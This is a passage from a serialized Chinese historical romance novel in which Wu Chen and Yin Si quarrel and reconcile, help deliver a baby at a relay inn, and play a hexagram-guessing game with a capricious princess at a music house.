巫辰将发梢浸于水中,轻挽起一捧温水,浇淋于发丝间,洗去全数污血,似是轻叹道:“为何仙宁也会在昨日的车舆内?你觉得东方羽灵,是有何所图?”
殷思却松下一口气,谢天谢地她问了正事,“许是于她而言,更多了层保障。即使惠国公已然病重,时日无多,她也执意要来燕庭亲查东宫案。皇后定曾对她施压,而这层保障,是皇帝的相护。”
“看来早前的猜测,并无偏差。仙宁乃皇帝亲女......”
殷思却道:“阿颜可还记得,那日于缙华堂新址,矜橙所说的那本叫作——《万宿齐喧》的琴谱?”
“嗯,是前太子妃留下的其中一册谶语琴谱。写与早年时,归入钦天监的绛华堂......”,巫辰说着更向桶边靠去,才刚恍然,“是固安长公主,承向启?她既为绛华堂旧主,应同是擅周易天象之说,倒是与钦天监相映照。仙宁是承向启的女儿?”
殷思道:“嗯,前几月,我遣人查了仙宁曾修学的邺天观,承向启曾......”
她眸中隐着薄怒,掬起一捧水砸向殷思,“哗啦”一响,刚好泼在他面上。
“为何这么多事,唯我问了,或是不得不说时,你才会开口。”
殷思神色微滞,“所知越少,距棋局越远。这些,我原本也不愿知晓,只想等暗流归于平静,各怀心思的人已决出胜负,再做选择,也不算迟......”
“所以,你替我做了决定,要我不再入局?”,她睨向对面的人,“好笑。你如此做,不过是刚愎自用,你能查出的事,根本瞒不住我。可若连坦诚也无,我要你有何用?”
巫辰周身水渍未干,骤然起身时,滴水顺衣物滑落,溅落于桶中细细碎碎得响着。
他慌了。
“别走......我记住了......万事应最先与阿颜相谈,得了阿颜准需才可行事......”,说着翻动静水慌忙起身,伸手欲将她牵住。
双唇后又反复开合几次,却始终寻不得更为合适的言辞以挽回局面,满心慌张溢于言表。
“别...
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..求你,别不要我......”
巫辰稍一俯身,抬手触上他面颊未愈剑伤,再猛得用力,才长上的痂皮破裂,而后掐住正有点点晶莹红珠滚落的下颌,眸中厉色翕动,“不许留下疤痕,我从不要难看的东西。”
“好......”
“你将我喜欢的脸碰坏了,用什么补偿?”
他双眸微红,闪动时泪意隐于睫间,又因她的附耳低语,白皙的脖颈染上一抹红晕,“我......”,言止于此时,还并未说完。
巫辰抢先道,“可以。”
“什......什么可以。”,殷思读懂她的语义后,无奈一笑,“次次过错,皆在我一人。每每我流几滴血,稍痛几分,你便会轻易原谅我。”
“甚至还将我应受的痛,化作你的,再凝成深深自咎......你合该怨我,还有没有别的惩罚......”,他说着又握起巫辰的手,硬往自己脸上的血痕边凑。
巫辰正感疑惑,眼看着指甲将深深嵌入伤口,不解为何有人会苦苦求着别原谅他。看似正常守矩的人,总莫名显露些难以启齿的爱好。
她也怕所谓的惩罚,到殷思身上会变作奖励,自是不愿他能顺心如愿。
况且,赤裸的上半身的人,哭着求惩罚,好奇怪......
“怨来怨去,好无聊。”,巫辰生怕再细想去,脑子会坏掉,赶快抽开他的手,向浴桶后靠去,“我只想解纷排难、了结问题,没那么多要宣泄的情绪。你若觉得对不住,就离远些上别处自悔,全说出来反倒惹人心烦。”
“阿颜,我......不要了结问题,你了结我......”
“......”,巫辰更加无语,默默扒住浴桶边缘,想要尽可能远离。
巫辰只想趁着他哭个不停时,悄声溜走,才转过身去跪于桶边,还在水里的小腿却被他按住。而后右肩被钳,整个人被翻了过去。
惊得她身形一颤,双肩抵上桶沿,怒色已全然转作惶然。
他手撑巫辰那侧的浴桶,几乎压在她身上,于蒸腾雾气中缓缓靠近。
流矢穿林,直破心湖,心跳如鼓,似要撞出胸腔。
巫辰有些恍然大悟,问道:“你是不是想亲我?”
“你上次不是才说过,再不会亲我了。”
“......”,殷思才建起的坚厚防线,又被她一语击溃,头微微低下,去藏那泛红至颈的羞赧。
温热气息拂过,坚实的胸膛随着呼吸起伏。她见殷思未再言语,恰好等在他毫无防备之时,好奇得触上他心口红墨。
果然不同于他腰间细腻温热的触感,于胜雪缓山之上,竟有不合时节的孤枫渐起。
木桶也在他颤抖的手下,微微晃动发出轻响,声声刺耳。巫辰才想起去看他的神色,面色紧绷,双眼紧闭。
不知又在压抑什么。
殷思片刻后才道,“想抱抱你而已。”
“哦。”,她如往常一般,自然伸出手臂,将他环住,又觉距离稍远不怎么顺手,只好向前凑了凑。
“阿颜......不能再近了。”
巫辰微微撇嘴轻叹,当真是无趣得很。将人推开时又趁机去感知那奇异触感,出了浴桶后,不再管他。
“你还待在里面做什么。”,巫辰挽起湿发,经过卧房中厅时,见他还泡在桶里发呆。
殷思道:“我冷静一会儿......”
巫辰出手探向桶中水,皱眉道:“水早冷下来了。”
“是别的,要冷静。”,殷思将头一偏,无力靠着,只往边缘缩得更紧些。
56.血崩
时方凌晨,墨空犹黯,驿馆之中尚沉于静谧。
忽得一阵急促脚步,如骤雨踏上长阶,打破深夜岑寂。
哐哐——哐——
房门被叩响,充满焦急又掺些夷犹。
巫辰原是于榻上酣眠正浓,因这响动被悠悠唤醒。老远便听得殷思启门的动静。
“......小声些,我夫人正睡着,驿丞何事?”
“公子......您......您可懂止血之法?在下的夫人方才产中突发血崩,急需救命,您.....还有您夫人,可会医治或是紧急止血?”詹驿丞声音里似是裹挟着焦虑,理智几欲顷刻崩塌。
他曾听巫辰讲过,她的生母便是产前生了急病,血崩后丧命,就连她也是展夫人死后才勉强保下命来。展家曾有下人胡乱说些口舌是非,只道是她将康健擅医的展夫人活活克死。
巫辰讲起这些时,极为平静,仿若置身事外,正说些与她毫无关联的事。
她说着自己,命硬得很。于安葬已死之人的棺/材内,也可顺利出生。她定是不会轻易丧命,像是劝殷思尽管放心她的安危,也像是玩笑般自嘲。
殷思从不敢将过往的任何经历或是苦难,反复回顾,只是闭口不谈。巫辰平淡的讲述,看似已然放下过去,可他却始终认为,她在悄悄痛着。
话语在殷思喉间徘徊,最后只道:“......不懂,抱歉。”
詹驿丞却口中喃喃着道歉,“无事的,无事的......打扰了,实在抱歉......”
驿丞帮着将门关上后,应是又顺着长廊,去逐次叩响一间间房门,“砰砰”声于耳边回荡时,驿馆内的灯火亦是渐次亮起。
骚动涌起,她蒙蒙得清醒过来,有她也极烦过于好使的听力。
屋内脚步声轻踏而至,行至塌前时,骤然静声。
巫辰只紧闭着眼,想着他又是如此,全权替自己做了决定。
“......阿颜,你会止血的针法吗?”
“......”,她眼眸霍然睁开,去瞧趴在塌前的人,自然是震惊于殷思会开口问她。
巫辰小声道:“我以为,你是......记恨我医不好你,觉得我并非医者,更不会救人。”
殷思也不知她醒着却不出声,是在想着这事,连忙道:“阿颜的医术最好了,总有人传——百年来那鞭刑过后,无人可活。阿颜不光轻松将我唤醒,背上连深色疤痕都未怎么留,还将我养得极好,我都胖了。”
“你快好好摸摸。”,他说着便去拉巫辰的手,往自己手臂上放。
“哦。”,她头脑仍昏着,有些反应不及,手上却不滞得去乱捏,而后接着道,“殷思,我告诉你止血的针法位置,你去扎......好不好。”
脑中混沌难醒,她仍是下意识得怕着。
怕自己医不好人,更怕血。
“我一个男子,怎好进产房的......要是想救人,阿颜自己去,我要睡觉。”,殷思说着便不管不顾得躺回软塌,更甚是将巫辰整个人拉开,躺进了靠里的位置。
“......”
意识重归于心,巫辰已然幽幽走在廊上,飘至满眼焦灼的詹驿丞身后,冷冷开口道:“在哪儿。”
由詹驿丞带至屋前,还未启门,巫辰便觉出阵阵扑鼻腥气。
她此时甚至毫无头绪,从未读过任何女科产科相关的医书,唯一了解到的生产知识,仅是源于描写并不细致的话本子。至于这婴孩从何而来,又如何与母体分离,她自是说不清的。
屋内,灯火如豆,却照不烬那满屋的慌乱,仅有另外一人在屋内忙活,应同是驿丞逐个敲门请来的。巫辰只庆幸,还好并非是留她一人。毕竟有关如何助产的疑问,去询问那未脱离危险的产妇,太过离谱。
产妇卧于踏上,屡屡青丝凌乱贴在面上,粗重喘息片刻便紧咬着下唇,指节也因过度用力而泛白。
再看她身下或塌边,是殷红血涌,止无可止。
血太多了。
凭巫辰往日所学,流出这么多血,怎还可活命?
驿丞不时扯嗓问着屋内近况,仅有屋中“稳婆”还可平静回应。血崩忽至,这产妇双手紧紧抓着被褥,可始终未发出痛苦的呜咽声。
这门外正等待的驿丞,竟比他夫人急多了。
那名“稳婆”年岁看着并不大,有些微胖,神色凝重却不失沉稳。或轻按产妇隆起的腹部,时而未其擦去额上豆大汗珠,应是注意到巫辰进门,忙回身喊她:“你愣着干什么呢!往那一杵只顾发呆,放你进来是为看热闹的是吗?”
“我来止血......”,巫辰眼中最多的仍是茫然,人如木雕般僵在当场。
“那你过去止啊!”,那稳婆伸手想去拽巫辰到塌边,却因距离不够抓了个空,开始也带些焦急得喊:“盯着我看做什么,你看我像是需要止血的吗?给她止血!”
巫辰踏过满地血渍,于微弱但极乱人心的痛吟声里,只想尽可能得稳住双手。先寻足大趾内外两侧,趾甲根角边的①隐白穴与大敦穴,以急刺针法点刺至出血。手顺脚部向上,小腿内侧,扎向踝尖上三寸的三阴交穴,以固摄气血。
“快!给她换成侧卧,胎动还在,这胎可保!”,稳婆顺产妇大腿内侧摸去。
稳婆问向门外的驿丞:“您夫人现产力不足,有没有一些......能迅速大补涨力气的?大补人参有没有?”
巫辰阻止,“直接服用人参或将影响凝血,且不利于撕裂伤口愈合,血液循环出问题更易增加渗血风险......”
“别扯那些没用的,那你说怎么办?”,稳婆忙去打断。
巫辰道:“独参汤......或是服用少量白参,可补气血。”
詹驿丞听过便去准备,于混乱中巫辰隐约闻得驿丞问着什么“公子”,也不知殷思来此做甚。
“姑娘,你过来,坐下。”
巫辰听话得往稳婆身边一坐,那稳婆说着便执起巫辰的手往前去伸。
“你可知‘探手取胎’?我手腕太粗了......我看你瘦些,这夫人许是有些胎位不正,你伸手进去来帮着调整胎位。”
巫辰:???
血雾弥漫,鲜血不断淌出,她再看自己的手时,只有一片红,令人惊心。阵阵耳鸣后,也不知眼前又发生了些什么,只听那稳婆不停喊着人,“刀有没有?剪刀呢......”
“再不将这脐带快些剪断,这孩子也要失血了......好不容易才生下来的......”
巫辰昨日才将刀给了殷思,出屋时匆忙得不行,也未想着带出来......
不管了。
巫辰面色如纸却透着决绝,额间冷汗滚落着,一口咬向稳婆手边的长带,血珠渗出时竟也未觉恶心不适。
“靠.....你怎么用咬的。你这姑娘......”
稳婆被巫辰吓个不轻,边念叨着忙去处理,并将那婴孩拍哭出声来。
一声清脆婴啼。
不知怎的,仅这一声,骤然清醒间却也有些怔然,抬手只将侧脸颈间的血迹蹭得更花。
一片血红之中,原来不光有痛,不光是象征死亡。
竟会诞出生命。
稳婆朝外道,“詹大人,是生了个小姑娘,母女平安!”,她说着便将裹在襁褓内,却仍沾着不少血迹的女婴塞进巫辰手里。巫辰将女婴抱出门,已是围了不少人,皆是露出笑容喜色的。
她也不知,自己初生那日,旁人是否只在哭,未曾笑过。
巫辰也不知怎么哄这孩子,只好任由她哭个不停。门一开驿丞便冲进了屋,也不管那稳婆如何阻拦。
她只好抱着女婴去与同在门外的殷思说话,“溯理,你看......她身上好多血。”
殷思持湿巾轻触巫辰沾染血的脸颊,动作
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轻柔,生怕将她碰疼,笑道:“嗯,你也是。”
“你说,我阿娘,她也听过我的哭声吗?”
巫辰有些明知故问,她出生时,展夫人已过世一整个时辰,早早过了仍留有听觉的时间。
“我不知道。”殷思盯着她的神色看,也在强迫自己不去落泪,“阿颜若是好奇,改日去问问展夫人呢?”
“啊......怎么问?”
殷思道:“在梦里吧,定可问到。”
巫辰竟觉有道理,梦中曾见过许多陌生的人,说不定早已见过的。
“诶小姑娘!你给他看做什么......给这小孩儿她爹看啊!”,稳婆出了产室便又开始不断指使人,詹驿丞也跟在身后。
詹驿丞道:“夫人,可否为小女,取个名字?”
巫辰恍惚时只听驿丞问些名字什么的,有些含糊喃喃:“名字......我叫巫辰......”
“在下是问,可否给我女儿取个名?”,詹驿丞笑着问,觉出不对劲后忙改口,“也好也好......是个好名字。瞻辨古今,乌飞暮云沉......正如今夜,多谢夫人,多谢。”
......
*
“阿颜,我们先走,要晚些才可冲洗了。”
“你用殷氏腰牌进的驿馆吗。”,方才为不露出身份,刻意喊的殷思的表字。可话问出口,她才反应出,竟是自己出了差错,“哦,是我说了真名,不好意思哦。”
殷思边忙着理好随身行装,边笑道:“无事的,迟早会被发现。”
巫辰道:“这驿丞若是如实上报我们在此出现,恐怕他也将落了麻烦。驿馆内的许多人,同像由由芩州逃离去宣州的,方才那稳婆就是,像是商贾,不应有可住驿馆的官职。”
“做什么的商贾?”
“应是开花楼的,那人年纪不大,且看她穿着谈吐,也并非官家女或是修习佛道教的,有接生经验还完全不会医的人不多。她还嘱咐我,入了宣州需小心些,莫叫人中途抓了去楼里‘从商’。”
殷思道:“借住官员身份成疑,驿丞不会不知,许是装作不知情却暗中相助。看他为人老实守矩,方才的事又有许多人听见,那驿丞已是不得不报了......”
巫辰不知从哪儿将他的发带翻了出来,见他发上空着,只自顾自得跟在殷思身后,将发带绕于他的发间,而后不紧不慢道:“赶在府兵来此驿馆前,于别处先露了身份,应可避免驿馆被查检。”
恰巧行路时,因受追踪成乱,已和其余人的马车队失散,也可借此寻出他们会和。
殷思停了动作,回身问她:“去别处......闹事?”
“嗯,去你最‘喜欢’的,去花楼怎么样?”,她将喜欢两字刻意强调。
“......我怎么就最喜欢花楼了,我......我很听夫人话的,从来不去......”,殷思皱眉看他,似是极不愿听得她这样说,却因见了巫辰面上稍显出得意,故意挑衅,“看来又要委屈阿颜装作‘妒妇’闹事了。”
巫辰面无表情道:“哦,无所谓。”
“怎可无所谓啊......”
离开驿馆前,殷思特意去向驿丞询问出距此地最近处的花楼,更在旁暗示两人行马速度与到达花楼的大致时间,笃定詹驿丞应是又快速散播出消息的能力。
......
*
花楼绮户之前,一中年女子轻摇罗扇,眉眼含笑。却因见了殷思也要往楼里进,收了笑眼,换作疑虑道:“这位公子,且慢。”
“您来这儿做什么?”
踏入那乐坊,各类乐器有序陈列,几名男乐师身着月白长袍,束着墨色丝带,端坐在琴案前。原本见巫辰踏至,忙上来迎,却因见了她身上沾有血气,向后退却时仍未失温润气质,轻掩面竟有几分特别的柔美迷离。
殷思:“不妙......”
57.衔杯吻指
踏入那乐坊,各类乐器有序陈列,几名男乐师身着月白长袍,束着墨色丝带,端坐在琴案前。原本见巫辰踏至,忙上来迎,却因见了她身上沾有血气,向后退却时仍未失温润气质,轻掩面竟有几分特别的柔美迷离。
殷思:“不妙......”
手上的血虽已经干透,她因看出旁人的神色在怕着,还是不自觉地往衣袖边蹭了蹭。
“我要沐浴。”
那男乐师微微欠身,已然恢复得体的神情,声音清朗:“姑娘这边请,奴来服侍您沐浴可好?”
“不好。”
殷思抢先抬手拽住那乐师上臂,果断阻他继续向前靠近,敛去温和,目光刀般射向对方。
“公子,喝酒在那边的桌席上。再往里是里席,只给各位姑娘夫人休息的,男子勿入。”,男乐人面上仍挂着灿烂笑容,俯身作揖极为恭敬。
不知她是如何想的,殷思却是要被恶心坏了。
他再不隐忍,冷笑一声开口便是讥讽:“既说是男子勿入,见你尚可自由出入,你是有什么不可言说的隐疾吗?还是说,你并非用的双腿行走,你是靠四脚着地爬进去的?”
“今日为何并未牵绳,便擅自跑出来乱咬人?”
“可需绳索捆链?本公子替你买来。”
“你!”
那乐师被这样一通骂,似是气血上涌,圆睁起眼来,细瞧竟含了些泪光在眼里,“如此污言秽语骂出口来,公子倒也不怕惹姑娘失了兴致......”
巫辰有些处于状况之外,见这乐人没说两句便哭上了,有些发蒙。悄悄移到殷思身侧,似有若无地勾住他的衣角,“溯理生气了吗?你骂的,还挺难听的。”
殷思道:“阿颜,你想让我陪你,是不是?”
巫辰多看了那乐师几眼,认真道:“哦,他在哭这个吗?可是,你没哭,没看出你很想陪我。”
男乐师趁机插嘴,更想添一把火,“奴知自己......身份卑微,更比不上都城来的富贵人家。奴也未说什么,公子便如此出言羞辱,实非君子所为。”,说着又掩面拭泪,可怜极了。
“是他先挑衅于我的......”
“真无聊,你们慢慢哭。”,巫辰默默绕靠眼前的人,才要与侍从姑娘一同进了内室,似是想起些什么,停了脚步后,回首对着那男乐师道:“你哭的太过拙劣,回去再练练。”
她转而又向另一边双眼泛红的人道:“溯理,过来。”
殷思知自己略胜一筹,脚步自然也轻快不少,靠在门前时,只反复回味她的只言片语。
阿颜应是很爱唤他溯理,甚至还耐心询问他是否生了气。她也从未说过他哭得拙劣......
他摇摇头,又知自己并非是略胜一筹,而是大获全胜。
沉浸于窃喜中时,全然未觉身旁的几名随侍侍女正窃窃私语。应是对他不时的垂首抿笑或是撑腮发笑,倍感疑惑。
才于背地里欢喜不久,他又笑不出来了。
桌席对面的巫辰身边,众星捧月得围上了四五个乐人,费尽心思赶走一人后,便又会多涌上来几人。
人海战术?需紧急想些别的对策。
“......”
“姑娘,奴斟了这杯酒水,您喂我喝,可好?”,巫辰身边的男人指尖轻轻拈起白玉色的酒杯,身体一侧后,又故意露出洁白手腕来。
时机未好,巫辰也只好无聊得坐于席间,冷得一瞥那乐人,问道:“你不会自己喝吗,杯子不就在这儿。”
“姑娘,奴家总手抖,就喜欢您喂我喝......”
“哦。”,巫辰只想着,这乐坊的东家倒也算心善,不仅留了方才那身有隐疾的,还留了这手有残疾的人。抬手正想拿过男乐人手中的酒杯。
手中握着那只杯盏,杯口处正泛着微光,晶莹透透,正要触上时,殷思阴沉着脸打断,“她是我夫人,你这右手若还想留着,便不要碰她。”
巫辰略有疑惑看向殷思,又将抬手。
“夫人......”,那男乐师见得了逞,甚至立马改口唤巫辰作‘夫人’,两手正欲扯上巫辰的衣裳。
叮———
须臾间,殷思手腕一挥,杯盏离弦将她正要碰上的那盏击落,力道控制得极为精准,杯盏相撞时并未伤了巫辰的手。
巫辰偏头问道,“怎么,溯理想喝?”,她的目光避过身旁所有人,将掉落未碎的杯盏放回案上,执了酒壶缓缓倾斜,涟漪落入白玉杯中。
“......”
“溯理,过来。”
他顶着对面一圈人的目光,刹那间双颊绯红,慌乱中竟不知将手置于何处,整个人被定在了原地。
可她正唤他过去。
“你来喝。”,巫辰左手撑向桌案,前倾身体,刻意将杯盏高举起来,不愿让旁人可有机会够到。
玉杯悬停于二人之间,气若微凝时,她盯着他错愕又掺些委屈的神情,竟有些想笑。
因杯盏的位置过高,他只好半跪于案边,缓缓仰头,唇边尽量靠向她的指尖,绯红发带与青丝一同散落至肩侧。
正将伸手去握住杯盏,她又忽得将手抬高。
眼看着酒水于杯中晃荡,溅出几滴落在她的指腹,他强压下耳后浮起的薄晕,舍下矜持与腼腆。
双唇吻过杯沿,饮下清酒,喉结滚动。灼心如醉时,下颌又蹭上她的指尖,更比杯中酒,清甜千倍万倍。
巫辰也不知是烈酒侵蚀了皮肤,还是他的吻,过于滚烫。头脑转醒时,桌案已被掀翻。
险些忘了,此行不是来逗他玩寻开心的,是特意过来闹事的......
她回身后,胡乱将一袋银钱塞到一名乐师手上,“哭,然后说他打你。”
画风急转,那乐师还未来得及使出浑身解数,便输了个彻底,此时也正无措,“啊......?”
巫辰淡淡道:“赶快哭,不然我寻别人来哭了。”
烛火摇曳不定,映向张张惊慌失措的脸,钗环碰撞叮当作响,惊呼声、呼喊声交织成一片。人群中却有一人,绕过混乱,对周遭的一切,只是视若罔闻。
正含笑得朝巫辰走来。
眼前的女子身着一袭深紫长袍,紫色绸锦于华灯下泛起光泽,只映出她的诡谲神色,冷冽如霜或狡黠灵动。
与上次见她时的感觉,一样难以捉摸,很是古怪。
巫辰抽出殷思腰间的短刀,寒光扬起,已稳稳架在紫衣女子的脖颈之上。那女子未有退却,反不屑得撇过冷刃,更凑近紧贴半分。
巫辰不知她是因何寻到这儿来,更未打算加以试探,悠悠开口:“见过颐王殿下。”
“真好,小巫大人还记得本王。”,承段复说着步步向前,笑道,“本王很是想念你的。只是,小巫大人这样问好,很不礼貌,下次注意......”
咻—————
白羽箭穿风而过,由紫衣女子身后而来,鬓边发被牵动时,神情依旧,并无惊慌。
巫辰猛得将刀收回,短刀一横,硬生生将那快箭挡下。箭尖与刀刃触碰瞬间,火花炸起,将她逼得像后退去几步。
殷思伸手揽住巫辰后腰将她扶稳,左手取箭后,直朝高台处的雕花红柱一刺,箭羽颤动,红柱后的那人也心虚得探出身来。
“林危,你找死吗?”
“......”
进内间私席的功夫,林小危于殷思与巫辰耳边,不停念叨方才为何射出这箭,反复说着本就知晓‘夫人’可轻松躲开,自然是毫无威胁性的一箭。更是不断解释颐王只是被禁足在王府久了,才偷跑出来解闷儿,于行路上听闻此处有‘小巫大人’闹事的消息,只是兴奋赶来,并无他意。
“哦,你原来是有求于本王!想和本王做朋友,就要陪我玩游戏,你可听过‘射覆’?”,承段复才老老实实得坐下,又与对丝毫未显好脸色的巫辰搭话。
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“不是普通的射覆哦,本王不懂诗词歌赋,寻常的玩儿法更不匹配你我的身份。我们玩——卦象射覆,如何?还是前几日,那位大名鼎鼎的国师大人,亲自教给本王的。”
听承段复提及仙宁,这才是真正的威胁。且确有相关颐王府地宫的事,需由她口中探出真相。
巫辰道:“你最好,说话算话。”
“那是必然,本王岂有玩赖的道理,太低级。”
林小危道:“殿下,我去请班主寻些小物......”
“诶......找外人寻物件来猜,无聊无聊。小危,过来。”,承段复却将人拉住,阻止林小危离开,“小巫大人,不如我们从小危身上找东西来猜?”
承段复说着,出手就要去翻林小危的衣领,“小危,带没带好玩儿的、好吃的,拿出来瞧瞧!”
“殿......殿下。”,林小危躲闪不及。
巫辰没心思瞧他们闹来闹去,打断道:“随便。”
“不可以。”,殷思才不愿她从旁人身上找东西来玩,出言阻止道,“巫辰对林侍卫使身上之物,丝毫不知,殿下此举是为作弊。”
“你敢质疑本王?”
殷思道:“殿下才说不会玩赖,若如此言而无信,巫辰不会与殿下做朋友。”
“切,坏事。姓殷的男子,果然没一个好东西。”,承段复转而看向巫辰,眯起眼来,而后抬手指上桌对面的殷思,笑得诡异,“不如,从他身上拿?”,才说着就撑起身子来,毫无迟疑便要去抓人。
巫辰抢先控制住承段复伸过来的手,大力甩开,严肃道:“不可以。”
“这个不行,那个也不行。你还玩不玩?”
“讨厌!”,承段复“啪”的一声重重拍在桌上,酒盏亦随之轻颤。
巫辰时常难以分辨此人的年纪到底为几,非愚非痴,行事却似脱缰之马,嬉笑无忌,更像是一副疯癫做派。
巫辰道:“分别取物。”
承段复见巫辰未被吓住,甚至好在好好与自己讲话,竟又老实坐下了,只是面上稍显疑惑。
巫辰继续道,“你从林侍卫使身上取物,我从殷公子身上取物出覆卦,分别交于对方去射卦,如何。”
殷思也不知她打得什么主意,只觉背后隐隐发冷,是为不妙......
承段复唇角不自觉上扬,眼中满是新奇与兴奋,“哦~这个可以!”,林小危见状,只想要默默躲开,“小危!不许跑。”
“让本王摸摸你带了什么好玩儿的!”
“......”
乐坊里室,帐幔红帘之下,却仅有一人慌乱万分。
巫辰的手自他的肩头快速滑下,一寸寸、一处处得去摸索。再由胸膛游移至腰侧,手腕一翻,一把扯住他腰间束带。
“阿颜,你是不是故意的......要拿东西你直接问不就好了,摸什么呢......”
不知为何涌上来的心思,竟被他轻易猜出,巫辰更觉气恼,眉头皱起抬眼瞧了殷思一眼,又尽力去拽,“干什么。”
殷思只与她一齐较劲使力,呼吸微乱得不行,只好别过脸去求她,“别,阿颜......给我留件衣裳。”
巫辰神色认真道:“我又不是没见过。”
“嗯......别乱摸。”
“你只在这儿等而已,又不出去,旁人看不见的。”
“那也不行......你饶了我......”
巫辰失耐心后,只猛地一推,他便毫无防备地向后倒去,殷思脊背靠上床榻边缘,带起一阵锦被摩擦帷幔的响声。为便于翻找,她顺势压坐到他腿上,掌心紧贴上他的胸膛。
殷思被彻底制住,红晕迅速蔓延至脖颈,想动却也不敢反抗。
她面色冷凝,手指轻搭上滚烫面颊,微微用力捏起,一字一顿道:“殷思,你是又想被打了吗?”
“不知你,喜欢我,先打哪处。”
58.结发
她面色冷凝,手指轻搭上滚烫面颊,微微用力捏起,一字一顿道:“殷思,你是,又想被打了吗?”
“不知你,喜欢我,先打哪处。”
“还有......别的选择吗?”,他像是故意眯眼皱眉,语气更带了些哭腔,见她的注意力被吸去后,抬手便想将压在他身上的人抱开。
这般面对面得紧贴着,太过奇怪......
“老实些,别乱动。”,巫辰很轻松便发现他的暗中挣扎,双膝向前一顶,刚好将他的手腕,紧叩于地面与床榻相接的夹角处,上身微微后仰,留出了些足以在他身上翻找的空间距离,“有没有难猜一些的?”
“......”,殷思见自己稍一反抗,她却坐得更靠里,再不敢动分毫。
自由自在得搜身,效率极高,巫辰摸出至少三块金属牌来,稍感疑惑,“你怎么这么多块腰牌,都是真的吗。”
“......真的。”
“哦,定是常瞒着我与旁人,暗通款曲惯了。”
“莫要乱说......只是为不时之需的。”
巫辰于他襟间无意触到一物,总算是找出一个手感偏软的,“这是什么?”,好奇得将其抽出,却是一只香囊。
“不能打开!”,殷思见她要将香囊拆开,有些急了,无意将半曲着的腿彻底打弯,连带着腿上的巫辰也失了平衡,朝他重重地撞了过来。
巫辰恰好可避开殷思的视线去拆这香囊,将手臂绕至他的身后,又环上脖颈将人搂紧。
先是取出一枚枫叶形状的金属片,其背面的纹路蜿蜒曲折,与枫叶脉络别无二致。边缘是金丝绕成的雕花,正面嵌着早已干枯的红枫残叶,摸上去时“咯吱”一响,几乎要碎掉。
她依稀可通过有些熟悉的叶脉认出,是于霖晴馆那片深红中,她为他所选的,最红的一枚枫花。
她干脆将那香囊倒扣,零零碎碎得掉出些千日红来,千日红天生便为永生之花,干燥后色泽仍然鲜亮,并非是浓香,气味只是淡淡的草木香。
于手心翻找时,发现一截断掉的步摇流苏,串联流苏的金属丝线已染锈迹,也不知是他何时捡来的。
“......这流苏,是我阿娘留给我的那支步摇上的。这残片,你留了八年?”
“才不是残片......”
确实并非残片,这步摇的全貌与她,八年来只在他脑中反复勾勒,从来都是完整无缺的样子。
未敢想过,浑浑噩噩中念了千万遍的人,如今近在咫尺。
巫辰只奇怪,应是还剩一物才对,两指伸进香袋内仔细摸着,果然还有。
是为深色腕饰,乌发与红丝交缠相依,“这里面,有我的头发,还有你的?”,她稍一垂首,气息拂过他的屡屡青丝,认出了他的味道。
“......还给我。”
巫辰道,“殷思,你偷藏这些做什么,想诅咒我?想给我下蛊?”,若要对人施以巫蛊压胜之术,有三物足以。
殷思低垂着双眸,赌气般附和她道:“是是是......是将你我的青丝缠在了一处,你才喜欢我的。”
“这是情蛊。”
巫辰略有些将信将疑,将他松开后,捧上他的脸盯着看。轮廓分明却不失柔和,长睫轻颤,正如蝶翼扇动,撩拨人心。
终才发觉,他竟是长着一张再风流不过的脸。
他,果然可惑人心?
她果断得将那青丝编成的腕饰扯开。
发丝断裂散落,他正心疼得不行,只喃喃道:“怎么弄断了......这是结发,是民间夫妻才会有的结发......”
她低头凝上他的眉眼,有些急切地将双唇印上他的,炽热气息交织,酒香于唇齿间翻涌。并未沉醉其中,只觉心窍顿开,“它已然断了,为何我还是,好喜欢。”
“溯理,你是不是在骗我?”
他抬眸望向她,目光中带着一丝不知所措的羞怯,却刻意避开回答,“.......不如用它当做覆物?”
“嗯。”
巫辰摸上他的肩,顺着向下,撵起正置于他身前的红发带,发带质地轻柔,宽度恰可将他的双眸遮全。
因视线被挡,他勾起食指扯去红纱,四目乍逢,只惹得情思暗生,心跳难平。
双影紧靠,久久不愿相离。
巫辰离了房间后,他仍是靠着塌沿,神色安然,手指轻轻探向衣袂,抚平衣上微皱,再感她留过的温度。
竟荒废下整整八年之久,才敢爱她。
......
*
本以为她已将取物的时间拖得够久,回到外屋席边,颐王仍未出现。
面前茶雾氤氲,巫辰拈起茶盏,送至唇边,茶水缓缓入口,“我以为颐王殿下,有些怕输,不愿过来玩游戏了。”
“什么?小巫大人就是如此看本王的?你......”,承段复圆睁起眼,佯装怒意后像是难以提起情绪,语气竟转成了尴尬,“咳......只是方才取物,稍遇了些小波折。”
卦象射覆,是为通过占卜亦或是逻辑推理,预测出隐藏之物。先由覆者拟出卦象提示,后交由射者进行解卦猜物。
两人各取三物,射中次数多者胜。
首轮中,巫辰先为覆者,金盆下藏“冷氏腰牌”。从前听闻,“荔平案”出时,颐王因年幼且居于冷府内,才并未受得牵连;不久前的祭品倒卖案时,颐王与冷氏起了冲突,献都之乱的源头——冷夫人遭展家毒刺杀,也是因颐王而起。牵扯皇室与其余世家的争端,承段复的立场,并未明朗。
因此选用冷氏之物,可稍作试探。
腰牌为金属材质,且刻有文字、纹样,是作为身份凭证或是职权的象征,并以‘冷’姓作为隐喻,此题,应是并不难猜。
巫辰执笔画出乾、坎两卦并置,又写“天行健,君子以寒彻骨”。
乾卦极易推演出金属材质或是腰牌的方正形状,坎卦暗指冷姓,或意为险阻,直指腰牌或可用于通关。
承段复准确卜出覆物时,只是轻抬下颌,略带有轻蔑不屑,并无旁的情绪,对于巫辰手中为何会有冷氏腰牌,亦无好奇或是怀疑。
巫辰转为射者,承段复于长卷上写下“随风巽,震惊百里”,并未画出卦象。
巽卦常与风木相携,震字又可直接对应震卦,震木巽风相生,将两卦组合,应是暗喻“箭借风势”。林小危曾为殿前司,且擅射术,“风动”与“百里之速”更可直接联系出箭矢部件,覆物只可为——箭羽。
首题只在相互试探而已。
承段复写下“含万物而化光,勿用取女”,画下坤乾两卦叠加时,满脸势在必得的神情。
“小巫大人,请。”
巫辰掷下两枚铜钱再次取卦,艮为山,意为止,或可象征礼教禁止之事。兑卦象征缺损①,再结合坤卦象征的柔顺布料材质②,应是指可遮掩身体缺损之处,恰与艮卦相应,礼教禁无矩裸露。
姤卦亦有禁忌隐蔽的隐喻,此物是不可公开示人的。
看向一脸古怪的承段复,巫辰稍有疑惑道,“林侍卫使,只是殿下的近卫吗?”
承段复笑道:“这是当然。”
巫辰也毫无遮拦,直接开口问道:“你们,当真没有旁的关系吗?”
“哈.....从前便听闻小巫大人向来是爱直言不讳,你当本王是什么人?”
巫辰淡淡道,“哦,那我猜不出了。”
